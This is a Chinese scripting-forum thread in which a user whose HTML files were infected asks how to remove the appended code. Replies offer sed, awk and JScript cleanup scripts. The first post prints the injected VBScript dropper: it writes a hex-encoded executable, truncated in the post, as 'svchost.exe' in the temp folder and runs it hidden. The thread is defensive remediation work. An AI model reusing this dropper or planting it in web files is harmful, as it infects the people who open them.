[视频教程]批处理基础视频教程[视频教程]VBS基础视频教程批处理在线视频分享
返回列表 发帖

[文件操作] 如何用批处理批量删除HTML文件的特定内容

本帖最后由 pcl_test 于 2017-1-9 10:10 编辑

电脑中了木码,导致硬盘上面所有以*.html和*.htm文件结尾的文件,在文件</html>标签之后被加上了一段代码,代码具体内容见附件,我已单独保存出来了。现在就想通过一个批处理命令来把所有被篡改的文件改回来,这些被感染文件都是需要的,不能被删除,
  1. <html>
  2. <head>
  3. </head>
  4. <body>
  5. ……
  6. </body>
  7. </html>
  8. <SCRIPT Language=VBScript><!--
  9. DropFileName = "svchost.exe"
  10. WriteData = "4D5A90000300000004000000FFFF0000B8000000000000004000000000000000000000000000000000000000000000000000000000000000000000008800000009DAF5C5C824EA25F0055C7EB55610FA4A9327840AEBC01BDC2284CB0C4F05B10EEBFE04A2BF7B2B5B9638…………73672393BE289A7D6A15B9C117D0F4BC102F4EE60C0000000000000000000000000000000000000000000000000000000000000000000"
  11. Set FSO = CreateObject("Scripting.FileSystemObject")
  12. DropPath = FSO.GetSpecialFolder(2) & "\" & DropFileName
  13. If FSO.FileExists(DropPath)=False Then
  14. Set FileObj = FSO.CreateTextFile(DropPath, True)
  15. For i = 1 To Len(WriteData) Step 2
  16. FileObj.Write Chr(CLng("&H" & Mid(WriteData,i,2)))
  17. Next
  18. FileObj.Close
  19. End If
  20. Set WSHshell = CreateObject("WScript.Shell")
  21. WSHshell.Run DropPath, 0
  22. //--></SCRIPT><!--??懔?図妽譨_9鯥歍x<+5皈┵sPq"古啭e"黳y6еR跤郙傩?啢?c皥昆y??瓗-k-?啍跪o玽9䅟V鑰芮.道Q趌幼d~?sk"扷X紃憴?A鈂檷炶?浏 撍M}瓖_砢~岭_'椬?V??栜T'?; ki(1w?Jm牯廫\|+r劗穌纏?2騉M≥]@瘜b
  23. NWA%菐%j毐N?/蹧?蕆3縁
复制代码

郁闷,附件添加不了

TOP

以上的内容就是html文件中被添加的内容,现在需要把它们删除

TOP

回复 2# jwentang


    把你的网页html文件压缩一下再上传试试呢
【扫描二维码捐助论坛的朋友请留言注明论坛账号】
【批处理在线视频分享】http://bbs.bathome.net/thread-31727-1-1.html
【微信公众号、微信群、QQ群】http://bbs.bathome.net/thread-3473-1-1.html

TOP

回复 8# Batcher

压缩文件也上传不了,文件上传的时候正常,也能提示上传完成,但一确定之后就没有了

TOP

回复 8# Batcher


    没有办法,只能上传到百度云盘了
链接: http://pan.baidu.com/s/1eSzaDjW   密码: b9aj

TOP

本帖最后由 hlzj88 于 2017-1-7 19:54 编辑

思路不复杂,用sed断行后输出关键词行前的所有行
  1. @echo off
  2. for /f %%g in ('dir /b/on *.htm*') do (
  3. move /y %%g %%~ng.txt
  4. sed -i "s/<\/html>/<\/html>\n/g" "%%~ng.txt"
  5. sed -n "1,/<\/html>/p" "%%~ng.txt">>"%%g"
  6. del /q %%~ng.txt
  7. )
  8. pause
复制代码
sed.exe  在http://www.bathome.net/s/tool/index.html里搜索下载
目的,学习批处理

TOP

电脑中了木码,导致硬盘上面所有以*.html和*.htm文件结尾的文件,在文件</html>标签之后被加上了一段代码,代码具体内容见附件
  1. awk 'BEGIN{FS="</html>";OFS="</html>"}{$NF="";print}'  file
复制代码
电脑中了木码,导致硬盘上面所有以*.html和*.htm文件结尾的文件,在文件</html>

TOP

本帖最后由 yu2n 于 2017-1-13 13:20 编辑

将以下代码以 Unicode 编码保存为 FixHtmlVirus.js 后,双击文件图标运行。
注意:使用前,请备份原文件。
  1. //name: FixHtmlVirus.js
  2. //js codepage:ule
  3. //fix html codepage:utf-8
  4. main();
  5. function main()
  6. {
  7. FixHtmlVirus();
  8. };
  9. //修复病毒感染的Html文件
  10. function FixHtmlVirus()
  11. {
  12. var sInfo = '';
  13. var sFolder = BrowseForFolder("请选择要修复的HTML文件夹(注意自行备份文件!):"); //获取用户选择的文件夹
  14. if (sFolder == '')
  15. {
  16. WScript.Echo('提示:没有选择文件夹,程序退出。');
  17. return 0;
  18. }
  19. var aFile = ScanFolder(sFolder); //获取文件夹所有文件夹、文件列表
  20. for (var i=0; i<aFile.length; i++)
  21. {
  22. if (/^(.+)(\.html)$/i.test(aFile[i])) //过滤其他文件,只操作 *.html 文件
  23. {
  24. var html = ReadText(aFile[i]), html2 = ''; //以 utf-8 编码读取 .html 文件
  25. var aHtml = html.split('\r\n'); //将读取的内容按行(\r\n)拆分成数组
  26. var sEnd = '', sVir = '';
  27. for (var j=0; j<aHtml.length; j++)
  28. {
  29. if (aHtml[j].toLowerCase().indexOf('</html>') != -1) // .html 文件尾部标记
  30. {
  31. aHtml[j] = aHtml[j].substr(0,2000); //限制长度,提高正则速度
  32. sEnd = aHtml[j].replace(/^(.*<\/html>)(.*)$/igm, '$1'); //提取末行内容
  33. sVir = aHtml[j].replace(/^(.*<\/html>)(.*)$/igm, '$2'); //提取部分病毒内容
  34. aHtml[j] = sEnd; //修正末行内容
  35. };
  36. html2 += aHtml[j] + '\r\n'; //将修正后的内容提交到 html2
  37. if (sEnd != '') //结束行
  38. {
  39. if (sVir != '' || aHtml.length - j > 2) //找到病毒
  40. {
  41. SaveText(aFile[i], html2); //保存修正后的内容
  42. if (sInfo != '') sInfo += '\r\n'; //记录修正的文件路径
  43. sInfo += aFile[i]; //记录修正的文件路径
  44. };
  45. break;
  46. };
  47. };
  48. }
  49. }
  50. if (sInfo == '')
  51. {
  52. WScript.Echo('提示:没有文件需要修复。');
  53. } else {
  54. WScript.Echo('提示:以下文件已被修复:\r\n' + sInfo);
  55. };
  56. }
  57. //文件夹选择对话框
  58. function BrowseForFolder(sTips)
  59. {
  60. var BIF_returnonlyfsdirs = 0x0001;
  61. var BIF_editbox= 0x0010;
  62. var oShell = new ActiveXObject("Shell.Application")
  63. var oFolder = oShell.BrowseForFolder(0x0, sTips, BIF_editbox + BIF_returnonlyfsdirs)
  64. if (oFolder==null) {return("")} else {return(oFolder.self.path + '\\')}; //return(oFolder.items().item().path+'\\')
  65. }
  66. // 获取文件夹所有文件夹、文件列表(数组)
  67. function ScanFolder(strPath)
  68. {
  69. if (strPath.substr(strPath.length-1,1) != '\\') {strPath += '\\';}
  70. var arr=[];
  71. var DO_SCAN_FOLDER=function(arr,folderSpec)
  72. {
  73. try {
  74. var fso = new ActiveXObject('Scripting.FileSystemObject');
  75. var oFolder = fso.GetFolder(folderSpec);
  76. if (oFolder != null){
  77. var oFiles = new Enumerator(oFolder.files);
  78. for (; !oFiles.atEnd(); oFiles.moveNext()) arr.push(oFiles.item().path);
  79. var oSubFolders = new Enumerator(oFolder.subfolders);
  80. for (; !oSubFolders.atEnd(); oSubFolders.moveNext()) {
  81. arr.push(oSubFolders.item().path + '\\');
  82. DO_SCAN_FOLDER(arr, oSubFolders.item());
  83. }
  84. }
  85. }catch(e){};
  86. }
  87. arr.push(strPath);
  88. DO_SCAN_FOLDER(arr,strPath);
  89. return(arr);
  90. }
  91. // 使用 utf-8 编码读写文本文件
  92. function ReadText(FileName){ return Pfile(FileName, "utf-8", "ForReading", ""); }
  93. function SaveText(FileName, TextString){ return Pfile(FileName, "utf-8", "ForWriting", TextString); }
  94. function SaveWSH(FileName, TextString){ return Pfile(FileName, "Unicode", "ForWriting", TextString); }
  95. function LogText(FileName, TextString){ return Pfile(FileName, "utf-8", "ForAppending", TextString); }
  96. function Pfile(FileName, FileCode, strType, TextString){
  97. var fso = new ActiveXObject("Scripting.FileSystemObject");
  98. var objStream = new ActiveXObject("ADODB.Stream");
  99. objStream.Type = 2;
  100. objStream.Mode = 3;
  101. objStream.Charset = FileCode; //不同编码时自己换,Chinese (Simplified) (GB2312),中文 GBK ,繁体中文 Big5 ,日文 EUC-JP ,韩文 EUC-KR,charset=UTF-8(国际化编码),ANSI,Unicode,unicode big endian
  102. if (fso.FileExists(FileName)==true) {
  103. objStream.Open();
  104. objStream.LoadFromFile(FileName);
  105. if (strType=="ForReading") TextString = objStream.ReadText();
  106. if (strType=="ForAppending") TextString += objStream.ReadText();
  107. objStream.Close();
  108. }
  109. if (strType=="ForWriting" || strType=="ForAppending") {
  110. objStream.Open();
  111. objStream.WriteText(TextString);
  112. objStream.SaveToFile(FileName, 2);
  113. objStream.Close();
  114. }
  115. fso = null;
  116. objStream = null;
  117. if (strType=="ForReading"){return(TextString)};
  118. if (strType=="ForWriting" || strType=="ForAppending"){return(0)};
  119. }
复制代码
更新: 下载
附件: 您需要登录才可以下载或查看附件。没有帐号?注册
1

评分人数

『千江有水千江月』千江有水,月映千江;万里无云,万里青天。    http://yu2n.qiniudn.com/

TOP

回复 5# jwentang


    什么浏览器?
【扫描二维码捐助论坛的朋友请留言注明论坛账号】
【批处理在线视频分享】http://bbs.bathome.net/thread-31727-1-1.html
【微信公众号、微信群、QQ群】http://bbs.bathome.net/thread-3473-1-1.html

TOP

回复 10# Batcher


    这和浏览器没有关系吧,电脑中了木码,导致HTML文件被感染,杀完毒也不行,一旦运行被感染的HTML文件,就又中毒了!杀完毒后还得把所有中木码的html文件中的代码清理掉,感觉只能用批处理来操作!

TOP

回复 11# jwentang


    我的意思是谁为什么别人可以上传压缩文件,但你无法上传,有可能是浏览器的问题。
【扫描二维码捐助论坛的朋友请留言注明论坛账号】
【批处理在线视频分享】http://bbs.bathome.net/thread-31727-1-1.html
【微信公众号、微信群、QQ群】http://bbs.bathome.net/thread-3473-1-1.html

TOP

像现在这样,直接贴出文本就很直观的  大家都能直观看到

TOP

回复 12# Batcher


    报歉,我用的是chrome55,win7 64位的

TOP

回复 14# jwentang


    我用Chrome 55测试没有问题。如果是因为压缩之后的文件仍然很大超过了论坛限制,那建议放到网盘吧。
【扫描二维码捐助论坛的朋友请留言注明论坛账号】
【批处理在线视频分享】http://bbs.bathome.net/thread-31727-1-1.html
【微信公众号、微信群、QQ群】http://bbs.bathome.net/thread-3473-1-1.html

TOP

返回列表